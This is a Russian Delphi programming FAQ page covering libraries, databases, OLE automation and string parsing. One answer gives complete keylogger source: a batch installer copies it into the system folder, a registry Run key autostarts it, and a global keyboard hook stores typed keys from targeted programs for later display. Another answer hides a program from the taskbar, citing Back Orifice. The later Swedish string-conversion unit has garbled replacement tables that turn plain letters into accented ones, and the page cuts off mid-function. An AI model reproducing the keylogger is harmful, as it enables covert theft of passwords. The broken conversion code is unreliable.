Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 2 сентября!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



Как работать с файлами архивов, хотя бы самыми распространенными?

Воспользуйтесь библиотекой ExceedZip 3.0 (http://www.exceedsoft.com).



Как использовать DirectX в своей программе?

Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX (http://delphigfx.mastak.ru/).

Учтите существование эхи RU.DIRECTX.



Как использовать OpenGL в своей программе?

Модули для работы с OpenGL можно взять на
http://delphigfx.mastak.ru/
http://www.signsoft.com/opengl. Информацию -- на
http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL:
программирование трехмерной графики". Еще загляните на
http://reality.sgi.com/mjk за примерами и
http://www.scitechsoft.com за библиотекой MesaGL.

Учтите существование эхи RU.OPENGL.



Как встроить просмотр HTML в свою программу?

В Delphi 4 имеется пример Web-браузера на Delphi.

MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму.

Netscape Navigator умеет делать то же самое, подробности на
http://www.chami.com/tips/delphi/103096D.html

Еще на http://www.pbear.com лежат THTMLViewer и TFrameViewer.



Где достать процедуру типа "сумма прописью"?

http://www.tsinet.ru/~vg.
Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей.



Какие инструменты можно применить для коллективной разработки проекта?

CVS. http://www.cyclic.com. С его помощью разрабатывается
весьма львиная доля программного обеспечения в Internet. Интеграция с
Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею
ощутимое время и не представляю себе более разработки без этого
средства. "Введение в CVS" можно прочитать на
http://alexm.here.ru.

Microsoft Visual Source Safe. Проигрывает в функциональности, может
выигрывать в "привычности".



Как можно обнаружить утечки памяти и ресурсов в программе?

MSDebug Макса Русова. Hаходится на http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше,
ловит только утечки памяти, но делает это хорошо.

Hа [45]http://www.numega.com можно купить BoundsChecker for Delphi. Он
проверяет также и утечки ресурсов.

Рекламировался также "MemProof", информацию о котором можно получить
на [46]http://www.listsoft.ru/programs/pr1520.htm.



Как строить графики математических функции и выводить сразу?

В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений.



Как уменьшить размер исполняемого файла программы?

Писать на WinAPI без использования VCL. Это пригодно для и без того
крохотных программ.

Воспользоваться пакетами (packages) из Delphi 3. Эффект появится,
когда исполняемых файлов больше одного.

Воспользоваться компрессорами исполняемых файлов, например:
UPX, Aspack, PECompact, PECrypt - ищите их новые версии в интернете.



Где достать всяких иконок, картинок для кнопок, etc. для своей программы?

http://www.iconbazaar.com



Как сделать ping? Посоветуйте альтернативу стандартным дельфовым Internet-компонентам.

Зайди на [52]http://www.rtfm.be/fpiette. Там кyча компонентов для
инета с исходниками. Там и ping есть.



Как правильно создавать компоненты в run-time?

Hачнем с создания.

Сущность свойства Owner в том, что владелец перед смертью уничтожает
(через Free) принадлежащие ему объекты. Таким образом, все зависит от
того, кому вы хотите доверить уничтожение созданных форм/компонентов.
В частности, если вы сами будете этим заниматься, то AOwner может
быть, например, nil.

Для того, чтобы созданный компонент появился на экране, надо указать
его родителя, заполнив свойство Parent, например, NewButton.Parent :=
Form1;

Пример кода, обрабатывающего события от свежесозданных компонентов:

type
TForm1 = class(TForm)
{ ... }
private
{ эта процедура будет вызываться при нажатии на кнопку }
procedure ButtonClicked(Sender : TObject);

public
{ в этой процедуре происходит создание кнопки }
procedure CreateButton;

end;

{ ... }

procedure TForm1.CreateButton;
var
btn : TButton;
begin
btn := TButton.Create(Self); { Уничтожать кнопку будет форма }
btn.Parent := Self; { Родителем кнопки будет форма }
btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при }
btn.Visible := true; { нажатии на кнопку }
end;




Как мне работать с файлами MS Word или таблицами MS Excel?

Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic.

Обратите внимание на то, как устанавливаются именованные параметры
у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc');

Пример проверен только на русском Word 7.0! Может, поможет...

unit InWord;
interface
uses
... ComCtrls; // Delphi3
... OLEAuto; // Delphi2
[skip]
procedure TPrintForm.MPrintClick(Sender: TObject);
var W: Variant;
S: String;
begin
S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи
// в var у меня не пошло :(
try // А вдруг где ошибка :)
W:=CreateOleObject('Word.Basic');
// Создаем документ по шаблону MyWordDot
// с указанием пути если он не в папке шаблонов Word
W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0);
// Отключение фоновой печати (на LJ5L без этого был пустой лист)
W.ToolsOptionsPrint(Background:=0);

// Переходим к закладке Word'a 'Num'
W.EditGoto('Num'); W.Insert(S);
//Сохранение
W.FileSaveAs('C:\MayPath\Reports\MyReport')
W.FilePrint(NumCopies:='2'); // Печать 2-х копий
finally
W.ToolsOptionsPrint(Background:=1);
W:=UnAssigned;
end;
end;



Как сделать так, чтобы запущенная программа не была видна на панели задач?

Во-первых, можно по примеру Back Orifice воспользоваться функцией
RegisterServiceProcess.

Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из
rxLib, иначе непонятно, как вы будете возвращать программу обратно из
минимизированного состояния.

type
TForm1 = class(TForm)
Label1: TLabel;
RxTrayIcon1: TRxTrayIcon;
procedure FormCreate(Sender : TObject);
procedure RxTrayIcon1DblClick(Sender: TObject);
private
{ Private declarations }
procedure ApplicationMinimize(Sender : TObject);
procedure ApplicationRestore(Sender : TObject);
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnMinimize := ApplicationMinimize;
Application.OnRestore := ApplicationRestore;
ShowWindow(Application.Handle, SW_HIDE);
end;

procedure TForm1.ApplicationMinimize(Sender : TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);
end;

procedure TForm1.ApplicationRestore(Sender : TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);
end;

procedure TForm1.RxTrayIcon1DblClick(Sender: TObject);
begin
Application.Restore;
Application.BringToFront;
end;

Только сpазу предупреждаю про грабли, на которые я наступал --
будь готов к тому, что если пpи попытке закрытия приложения в
OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут
быть проблемы с автоматическим завершением пpогpаммы пpи shutdown --
под Win95 просто зависает, под WinNT не завершается. Очевидно, что
сообщение выводится, но его не видно (причем SW_RESTORE не
сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких
завеpшающих действий и вызова CallTerminateProcs выдавать Halt.



После работы программы не сохраняются изменения в базе Paradox. Что делать?

Где-нибудь при закрытии главной формы выполните нижеследующие куски
кода:

Для Delphi 3: Table.FlushBuffers при открытой таблице.

Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle));
Table.Close;



Как мне упаковать Paradox или DBF таблицу?

Воспользоваться функцией PackTable из rxLib.

Для перегенерации индексов:

Table1.Exclusive := True;
Table1.Open;
Check(dbiRegenIndexes(Table1.Handle);



Почему при добавлении/изменении записей возникает ошибка Cannot modify a read-only dataset?

Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос
был редактируемым, он должен удовлетворять требованиям, изложенным в
помощи при поиске по "live result sets".



Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных?

Смотри в F.A.Q. по Borland Interbase от демо-центра.



Таблица на русском языке, некоторые буквы меняются - что делать?

В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr.



Error initializing database engine на другом компе. Что делать?

Прочитать X:\DELPHI\DOC\deploy.txt.



Как правильно соединяться с базой данных под Personal Oracle?

user/password@2: Это так для Oracle SQL Plus, и более других его
утилит. А в BDE надо оставить все как для соединения с сетевым
сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную
DLL) только вместо имени сервера написать "2:". Это годится и для
случая, когда на одной машине и сетевой сервер и приложение.



Как отловить нажатия клавиш для всех процессов в системе?

Вот, может поможет:

1. Setup.bat


@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg


2.HookAgnt.reg


REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"


3.KbdHook.dpr


program cwbhook;

uses Windows, Dialogs;

var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;

begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeat until not GetMessage(msg, 0, 0, 0);
end.


4.HookAgnt.dpr


library HookAgent;

uses Windows, KeyboardHook in 'KeyboardHook.pas';

exports
KeyboardProc;

var
hFileMappingObject: THandle;
fInit: Boolean;

{----------------------------\
| |
| DLL_PROCESS_DETACH |
| |
\----------------------------}

procedure DLLMain(Reason: Integer);
begin

if Reason = DLL_PROCESS_DETACH then
begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;

end;

{----------------------------\
| |
| DLL_PROCESS_ATTACH |
| |
\----------------------------}

begin
DLLProc := @DLLMain;

hFileMappingObject := CreateFileMapping(
THandle($FFFFFFFF), // use paging file
nil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);

if hFileMappingObject = INVALID_HANDLE_VALUE then
begin
ExitCode := 1;
Exit;
end;

fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0 // default: map entire file
);

if lpvMem = nil then
begin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;

if fInit then
FillChar(lpvMem, PASSWORDSIZE, #0);

end.



5.KeyboardHook.pas


unit KeyboardHook;

interface

uses Windows;

{------------------------------------------\
| |
| +ыюсры№эvх яхЁхьхээvх ш ъюэёЄрэЄv |
| |
\------------------------------------------}

const
PASSWORDSIZE = 16;

var
g_hhk: HHOOK;
g_szKeyword: array[0..PASSWORDSIZE-1] of char;
lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT; stdcall;

implementation

uses SysUtils, Dialogs;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT;

var
szModuleFileName: array[0..MAX_PATH-1] of Char;
szKeyName: array[0..16] of Char;
lpszPassword: PChar;

begin
lpszPassword := PChar(lpvMem);

if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

lstrcat(g_szKeyword, szKeyName);

GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

if (StrPos(StrUpper(szModuleFileName),'g') <> nil) and
(strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
lstrcat(lpszPassword, szKeyName);

if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
begin
ShowMessage(lpszPassword);
g_szKeyword[0] := #0;
end;

Result := 0;
end

else
Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

end;
end.



Мне нужны функции для парсинга строк

Здесь представлен модуль, в котором я разметил много методов для подобной работы.
Некоторые функции поименованы по-шведски, но, может-быть, Вы сможете понять,
что они делают.

Вам потребуется один из методов, называющийся stringreplaceall, который
принимает при параметра - исходную строку, подстроку для поиска и подстроку
для замены, и возвращает измененную строку.
Будьте осторожны, если Вы меняется одну подстроку на другую, чьей частью
является первая. Вы должны делать это в два прохода, или Вы попадете
в бесконечный цикл.

Так, если Вы имеете текст, содержащий слово Joe, и Вы хотите все его вхождения
изменить на Joey, то Вы должны сделать сперва нечто похожее на:

text := stringreplaceall (text,'Joe','Joeey');

И потом

text := stringreplaceall (text,'Joeey','Joey');

unit sparfunc;

interface

uses sysutils,classes;

function antaltecken (orgtext,soktext : string) : integer;
function beginsWith (text,teststreng : string):boolean;
function endsWith (text,teststreng : string):boolean;
function hamtastreng (text,strt,slut : string):string;
function hamtastrengmellan (text,strt,slut : string):string;
function nastadelare (progtext : string):integer;
function rtf2sgml (text : string) : string;
Function sgml2win(text : String) : String;
Function sgml2mac(text : String) : String;
Function sgml2rtf(text : string) : String;
function sistamening(text : string) : string;
function stringnthfield (text,delim : string; vilken : integer) : string;
function stringreplace (text,byt,mot : string) : string;
function stringreplaceall (text,byt,mot : string) : string;
function text2sgml (text : string) : string;
procedure SurePath (pathen : string);
procedure KopieraFil (infil,utfil : string);
function LasInEnTextfil (filnamn : string) : string;


implementation

function LasInEnTextfil (filnamn : string) : string;
var
infil : textfile;
temptext, filtext : string;
begin
filtext := '';
//Oppna angiven fil och las in den
try
assignfile (infil,filnamn); //Koppla en textfilsvariabel till pathname
reset (infil); //Oppna filen
while not eof(infil) do begin //Sa lange vi inte natt slutet
readln (infil,temptext); //Las in en rad
filtext := filtext+temptext; //Lagg den till variabeln SGMLTEXT
end; // while
finally //slutligen
closefile (infil); //Stang filen
end; //try
result := filtext;
end;

procedure KopieraFil (infil,utfil : string);
var
InStream : TFileStream;
OutStream : TFileStream;
begin
InStream := TFileStream.Create(infil,fmOpenRead);
try
OutStream := TFileStream.Create(utfil,fmOpenWrite or fmCreate);
try
OutStream.CopyFrom(InStream,0);
finally
OutStream.Free;
end;
finally
InStream.Free;
end;
end;

procedure SurePath (pathen : string);
var
temprad,del1 : string;
antal : integer;
begin
antal := antaltecken (pathen,'\');
if antal<3 then
createdir(pathen)
else begin
if pathen[length(pathen)] <> '\' then pathen := pathen+'\';
pathen := stringreplace(pathen,'\','/');
del1 := copy(pathen,1,pos('\',pathen));
pathen := stringreplace(pathen,del1,'');
del1 := stringreplace(del1,'/','\');
createdir (del1);
while pathen <> '' do begin
temprad := copy(pathen,1,pos('\',pathen));
pathen := stringreplace(pathen,temprad,'');
del1 := del1+ temprad;
temprad := '';
createdir(del1);
end;
end;
end;

function antaltecken (orgtext,soktext : string) : integer;
var
i,traffar,soklengd : integer;
begin
traffar := 0;
soklengd := length(soktext);
for i := 1 to length(orgtext) do
begin
if soktext = copy(orgtext,i,soklengd) then
traffar := traffar +1;
end;
result := traffar;
end;

function nastadelare (progtext : string):integer;
var
i,j : integer;
begin
i := pos('.',progtext);
j := pos('!',progtext);
if (j<i) and (j>0) then i := j;
j := pos('!',progtext);
if (j<i) and (j>0) then i := j;
j := pos('?',progtext);
if (j<i) and (j>0) then i := j;
result := i;
end;

function stringnthfield (text,delim : string; vilken : integer) : string;
var
start,slut,i : integer;
temptext : string;
begin
start := 0;
if vilken >0 then
begin
temptext := text;
if vilken = 1 then
begin
start := 1;
slut := pos (delim,text);
end
else
begin
for i:= 1 to vilken -1 do
begin
start := pos(delim,temptext)+length(delim);
temptext := copy(temptext,start,length(temptext));
end;
slut := pos (delim,temptext);
end;
if start >0 then
begin
if slut = 0 then slut := length(text);
result := copy (temptext,1,slut-1);
end
else
result := text;
end
else
result := text;
end;

function StringReplaceAll (text,byt,mot : string ) :string;
{Funktion for att byta ut alla forekomster av en strang mot en
annan strang in en strang. Den konverterade strangen returneras.
Om byt finns i mot maste vi ga via en temporar variant!!!}
var
plats : integer;
begin
While pos(byt,text) > 0 do
begin
plats := pos(byt,text);
delete (text,plats,length(byt));
insert (mot,text,plats);
end;
result := text;
end;

function StringReplace (text,byt,mot : string ) :string;
{Funktion for att byta ut den forsta forekomsten av en strang mot en
annan strang in en strang. Den konverterade strangen returneras.}
var
plats : integer;
begin
if pos(byt,text) > 0 then
begin
plats := pos(byt,text);
delete (text,plats,length(byt));
insert (mot,text,plats);
end;
result := text;
end;

function hamtastreng (text,strt,slut : string):string;
{Funktion for att hamta ut en delstrang ur en annan strang.
Om start och slut finns i text sa returneras en strang dar start
ingar i borjan och fram till tecknet fore slut.}
var
stplats,slutplats : integer;
resultat : string;
begin
resultat :='';
stplats := pos(strt,text);
if stplats >0 then
begin
text := copy (text,stplats,length(text));
slutplats := pos(slut,text);
if slutplats >0 then
begin
resultat := copy(text,1,slutplats-1);
end;
end;
result := resultat;
end;

function hamtastrengmellan (text,strt,slut : string):string;
{Funktion for att hamta ut en delstrang ur en annan strang.
Om start och slut finns i text sa returneras en strang dar start
ingar i borjan och fram till tecknet fore slut.}
var
stplats,slutplats : integer;
resultat : string;
begin
resultat :='';
stplats := pos(strt,text);
if stplats >0 then
begin
text := copy (text,stplats+length(strt),length(text));
slutplats := pos(slut,text);
if slutplats >0 then
begin
resultat := copy(text,1,slutplats-1);
end;
end;
result := resultat;
end;

function endsWith (text,teststreng : string):boolean;
{Kollar om en strang slutar med en annan strang.
Returnerar true eller false.}
var
textlngd,testlngd : integer;
kollstreng : string;
begin
testlngd := length(teststreng);
textlngd := length (text);
if textlngd > testlngd then
begin
kollstreng := copy (text,(textlngd+1)-testlngd,testlngd);
if kollstreng = teststreng then
result := true
else
result := false;
end
else
result := false;
end;

function beginsWith (text,teststreng : string):boolean;
{Funktion for att kolla om text borjar med teststreng.
Returnerar true eller false.}
var
textlngd,testlngd : integer;
kollstreng : string;
begin
testlngd := length(teststreng);
textlngd := length (text);
if textlngd >= testlngd then
begin
kollstreng := copy (text,1,testlngd);
if kollstreng = teststreng then
result := true
else
result := false;
end
else
result := false;
end;

function sistamening(text : string) : string;
//Funktion for att ta fram sista meningen i en strang. Soker pa !?.
var
i:integer;
begin
i :=length(text)-1;
while (copy(text,i,1)<> '.') and (copy(text,i,1)<> '!') and (copy(text,i,1)<> '?') do
begin
dec(i);
if i =1 then break

end;
if i>1 then
result := copy(text,i,length(text))
else
result := '';
end;

Function text2sgml(text : String) : String;
{Funktion som byter ut alla ovanliga tecken mot entiteter.
Den fardiga texten returneras.}
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'a','å');
text := stringreplaceall (text,'A','Å');
text := stringreplaceall (text,'a','ä');
text := stringreplaceall (text,'A','Ä');
text := stringreplaceall (text,'a','á');
text := stringreplaceall (text,'A','Á');
text := stringreplaceall (text,'a','à');
text := stringreplaceall (text,'A','À');
text := stringreplaceall (text,'?','æ');
text := stringreplaceall (text,'?','&Aelig;');
text := stringreplaceall (text,'A','Â');
text := stringreplaceall (text,'a','â');
text := stringreplaceall (text,'a','ã');
text := stringreplaceall (text,'A','Ã');
text := stringreplaceall (text,'c','ç');
text := stringreplaceall (text,'C','Ç');
text := stringreplaceall (text,'e','é');
text := stringreplaceall (text,'E','É');
text := stringreplaceall (text,'e','ê');
text := stringreplaceall (text,'E','Ê');
text := stringreplaceall (text,'e','ë');
text := stringreplaceall (text,'E','Ë');
text := stringreplaceall (text,'e','è');
text := stringreplaceall (text,'E','È');
text := stringreplaceall (text,'i','î');
text := stringreplaceall (text,'I','Î');
text := stringreplaceall (text,'i','í');
text := stringreplaceall (text,'I','Í');
text := stringreplaceall (text,'i','ì');
text := stringreplaceall (text,'I','Ì');
text := stringreplaceall (text,'i','ï');
text := stringreplaceall (text,'I','Ï');
text := stringreplaceall (text,'n','ñ');
text := stringreplaceall (text,'N','Ñ');
text := stringreplaceall (text,'o','ö');
text := stringreplaceall (text,'O','Ö');
text := stringreplaceall (text,'o','ò');
text := stringreplaceall (text,'O','Ò');
text := stringreplaceall (text,'o','ó');
text := stringreplaceall (text,'O','Ó');
text := stringreplaceall (text,'o','ø');
text := stringreplaceall (text,'O','Ø');
text := stringreplaceall (text,'O','Ô');
text := stringreplaceall (text,'o','ô');
text := stringreplaceall (text,'o','õ');
text := stringreplaceall (text,'O','Õ');
text := stringreplaceall (text,'u','ü');
text := stringreplaceall (text,'U','Ü');
text := stringreplaceall (text,'u','ú');
text := stringreplaceall (text,'U','Ú');
text := stringreplaceall (text,'U','Ù');
text := stringreplaceall (text,'u','ù');
text := stringreplaceall (text,'u','û');
text := stringreplaceall (text,'U','Û');
text := stringreplaceall (text,'y','ý');
text := stringreplaceall (text,'Y','Ý');
text := stringreplaceall (text,'y','ÿ');
text := stringreplaceall (text,'|',' ');
result := text;
End;

Function sgml2win(text : String) : String;
{Funktion som ersatter alla entiteter mot deras tecken i
windows. Den fardiga strangen returneras.}
begin
text := stringreplaceall (text,'á','a');
text := stringreplaceall (text,'Á','A');
text := stringreplaceall (text,'æ','?');
text := stringreplaceall (text,'&Aelig;','?');
text := stringreplaceall (text,'à','a');
text := stringreplaceall (text,'À','A');
text := stringreplaceall (text,'å','a');
text := stringreplaceall (text,'Å','A');
text := stringreplaceall (text,'ä','a');
text := stringreplaceall (text,'Ä','A');
text := stringreplaceall (text,'Â' ,'A');
text := stringreplaceall (text,'â' ,'a');
text := stringreplaceall (text,'ã','a');
text := stringreplaceall (text,'Ã','A');
text := stringreplaceall (text,'ç','c');
text := stringreplaceall (text,'Ç','C');
text := stringreplaceall (text,'é','e');
text := stringreplaceall (text,'É','E');
text := stringreplaceall (text,'è','e');
text := stringreplaceall (text,'È','E');
text := stringreplaceall (text,'ê' ,'e');
text := stringreplaceall (text,'Ê' ,'E');
text := stringreplaceall (text,'ë' ,'e');
text := stringreplaceall (text,'Ë' ,'E');
text := stringreplaceall (text,'î' ,'i');
text := stringreplaceall (text,'Î' ,'I');
text := stringreplaceall (text,'í','i');
text := stringreplaceall (text,'Í','I');
text := stringreplaceall (text,'ì','i');
text := stringreplaceall (text,'Ì','I');
text := stringreplaceall (text,'ï' ,'i');
text := stringreplaceall (text,'Ï' ,'I');
text := stringreplaceall (text,'ñ','n');
text := stringreplaceall (text,'Ñ','N');
text := stringreplaceall (text,'ò','o');
text := stringreplaceall (text,'Ò','O');
text := stringreplaceall (text,'ó','o');
text := stringreplaceall (text,'Ó','O');
text := stringreplaceall (text,'ö','o');
text := stringreplaceall (text,'Ö','O');
text := stringreplaceall (text,'ø','o');
text := stringreplaceall (text,'Ø','O');
text := stringreplaceall (text,'Ô' ,'O');
text := stringreplaceall (text,'ô' ,'o');
text := stringreplaceall (text,'õ','o');
text := stringreplaceall (text,'Õ','O');
text := stringreplaceall (text,'ü','u');
text := stringreplaceall (text,'Ü','U');
text := stringreplaceall (text,'ú','u');
text := stringreplaceall (text,'Ú','U');
text := stringreplaceall (text,'û' ,'u');
text := stringreplaceall (text,'Û' ,'U');
text := stringreplaceall (text,'Ù','U');
text := stringreplaceall (text,'ù','u');
text := stringreplaceall (text,'ý','y');
text := stringreplaceall (text,'Ý','Y');
text := stringreplaceall (text,'ÿ' ,'y');
text := stringreplaceall (text,' ','|');
text := stringreplaceall (text,'&','&');
result := text;
End;

Function sgml2mac(text : String) : String;
{Funktion som ersatter alla entiteter mot deras tecken i
mac. Den fardiga strangen returneras.}
begin
text := stringreplaceall (text,'á',chr(135));
text := stringreplaceall (text,'Á',chr(231));
text := stringreplaceall (text,'æ',chr(190));
text := stringreplaceall (text,'&Aelig;',chr(174));
text := stringreplaceall (text,'à',chr(136));
text := stringreplaceall (text,'À',chr(203));
text := stringreplaceall (text,'å',chr(140));
text := stringreplaceall (text,'Å',chr(129));
text := stringreplaceall (text,'Ä',chr(128));
text := stringreplaceall (text,'ä',chr(138));
text := stringreplaceall (text,'Â' ,chr(229));
text := stringreplaceall (text,'â' ,chr(137));
text := stringreplaceall (text,'ã',chr(139));
text := stringreplaceall (text,'Ã',chr(204));
text := stringreplaceall (text,'ç',chr(141));
text := stringreplaceall (text,'Ç',chr(130));
text := stringreplaceall (text,'é',chr(142));
text := stringreplaceall (text,'É',chr(131));
text := stringreplaceall (text,'è',chr(143));
text := stringreplaceall (text,'È',chr(233));
text := stringreplaceall (text,'ê' ,chr(144));
text := stringreplaceall (text,'Ê' ,chr(230));
text := stringreplaceall (text,'ë' ,chr(145));
text := stringreplaceall (text,'Ë' ,chr(232));
text := stringreplaceall (text,'î' ,chr(148));
text := stringreplaceall (text,'Î' ,chr(235));
text := stringreplaceall (text,'í' ,chr(146));
text := stringreplaceall (text,'Í' ,chr(234));
text := stringreplaceall (text,'ì' ,chr(147));
text := stringreplaceall (text,'Ì' ,chr(237));
text := stringreplaceall (text,'ï' ,chr(149));
text := stringreplaceall (text,'Ï' ,chr(236));
text := stringreplaceall (text,'ñ',chr(150));
text := stringreplaceall (text,'Ñ',chr(132));
text := stringreplaceall (text,'ò',chr(152));
text := stringreplaceall (text,'Ò',chr(241));
text := stringreplaceall (text,'ó',chr(151));
text := stringreplaceall (text,'Ó',chr(238));
text := stringreplaceall (text,'Ô' ,chr(239));
text := stringreplaceall (text,'ô' ,chr(153));
text := stringreplaceall (text,'ø',chr(191));
text := stringreplaceall (text,'Ø',chr(175));
text := stringreplaceall (text,'õ',chr(155));
text := stringreplaceall (text,'Õ',chr(239));
text := stringreplaceall (text,'ö',chr(154));
text := stringreplaceall (text,'Ö',chr(133));
text := stringreplaceall (text,'ü',chr(159));
text := stringreplaceall (text,'Ü',chr(134));
text := stringreplaceall (text,'ú',chr(156));
text := stringreplaceall (text,'Ú',chr(242));
text := stringreplaceall (text,'û' ,chr(158));
text := stringreplaceall (text,'Û' ,chr(243));
text := stringreplaceall (text,'Ù',chr(244));
text := stringreplaceall (text,'ù',chr(157));
text := stringreplaceall (text,'ý','y');
text := stringreplaceall (text,'ÿ' ,chr(216));
text := stringreplaceall (text,'Ÿ' ,chr(217));
text := stringreplaceall (text,' ',' ');
text := stringreplaceall (text,'&',chr(38));
result := text;
End;


Function sgml2rtf(text : string) : String;
{Funktion for att byta ut sgml-entiteter mot de koder som
galler i RTF-textrutorna.}
begin
text := stringreplaceall (text,'}','#]#');
text := stringreplaceall (text,'{','#[#');
text := stringreplaceall (text,'\','HSALSKCAB');
text := stringreplaceall (text,'HSALSKCAB','\\');
text := stringreplaceall (text,'æ','\'+chr(39)+'c6');
text := stringreplaceall (text,'&Aelig;','\'+chr(39)+'e6');
text := stringreplaceall (text,'á','\'+chr(39)+'e1');
text := stringreplaceall (text,'Á','\'+chr(39)+'c1');
text := stringreplaceall (text,'à','\'+chr(39)+'e0');
text := stringreplaceall (text,'À','\'+chr(39)+'c0');
text := stringreplaceall (text,'å','\'+chr(39)+'e5');
text := stringreplaceall (text,'Å','\'+chr(39)+'c5');
text := stringreplaceall (text,'Â','\'+chr(39)+'c2');
text := stringreplaceall (text,'â','\'+chr(39)+'e2');
text := stringreplaceall (text,'ã','\'+chr(39)+'e3');
text := stringreplaceall (text,'Ã','\'+chr(39)+'c3');
text := stringreplaceall (text,'ä','\'+chr(39)+'e4');
text := stringreplaceall (text,'Ä','\'+chr(39)+'c4');
text := stringreplaceall (text,'ç','\'+chr(39)+'e7');
text := stringreplaceall (text,'Ç','\'+chr(39)+'c7');
text := stringreplaceall (text,'é','\'+chr(39)+'e9');
text := stringreplaceall (text,'É','\'+chr(39)+'c9');
text := stringreplaceall (text,'è','\'+chr(39)+'e8');
text := stringreplaceall (text,'È','\'+chr(39)+'c8');
text := stringreplaceall (text,'ê','\'+chr(39)+'ea');
text := stringreplaceall (text,'Ê','\'+chr(39)+'ca');
text := stringreplaceall (text,'ë','\'+chr(39)+'eb');
text := stringreplaceall (text,'Ë','\'+chr(39)+'cb');
text := stringreplaceall (text,'î','\'+chr(39)+'ee');
text := stringreplaceall (text,'Î','\'+chr(39)+'ce');
text := stringreplaceall (text,'í','\'+chr(39)+'ed');
text := stringreplaceall (text,'Í','\'+chr(39)+'cd');
text := stringreplaceall (text,'ì','\'+chr(39)+'ec');
text := stringreplaceall (text,'Ì','\'+chr(39)+'cc');
text := stringreplaceall (text,'ï' ,'\'+chr(39)+'ef');
text := stringreplaceall (text,'Ï' ,'\'+chr(39)+'cf');
text := stringreplaceall (text,'ñ','\'+chr(39)+'f1');
text := stringreplaceall (text,'Ñ','\'+chr(39)+'d1');
text := stringreplaceall (text,'ö','\'+chr(39)+'f6');
text := stringreplaceall (text,'Ö','\'+chr(39)+'d6');
text := stringreplaceall (text,'ó','\'+chr(39)+'f3');
text := stringreplaceall (text,'Ó','\'+chr(39)+'d3');
text := stringreplaceall (text,'ò','\'+chr(39)+'f2');
text := stringreplaceall (text,'Ò','\'+chr(39)+'d2');
text := stringreplaceall (text,'ø','\'+chr(39)+'f8');
text := stringreplaceall (text,'Ø','\'+chr(39)+'d8');
text := stringreplaceall (text,'Ô','\'+chr(39)+'d4');
text := stringreplaceall (text,'ô','\'+chr(39)+'f4');
text := stringreplaceall (text,'õ','\'+chr(39)+'f5');
text := stringreplaceall (text,'Õ','\'+chr(39)+'d5');
text := stringreplaceall (text,'ú','\'+chr(39)+'fa');
text := stringreplaceall (text,'Ú','\'+chr(39)+'da');
text := stringreplaceall (text,'û','\'+chr(39)+'fb');
text := stringreplaceall (text,'Û','\'+chr(39)+'db');
text := stringreplaceall (text,'Ù','\'+chr(39)+'d9');
text := stringreplaceall (text,'ù','\'+chr(39)+'f9');
text := stringreplaceall (text,'ü','\'+chr(39)+'fc');
text := stringreplaceall (text,'Ü','\'+chr(39)+'dc');
text := stringreplaceall (text,'ý','\'+chr(39)+'fd');
text := stringreplaceall (text,'Ý','\'+chr(39)+'dd');
text := stringreplaceall (text,'ÿ','\'+chr(39)+'ff');
text := stringreplaceall (text,'£','\'+chr(39)+'a3');
text := stringreplaceall (text,'#]#','\}');
text := stringreplaceall (text,'#[#','\{');
text := stringreplaceall (text,' ','|');
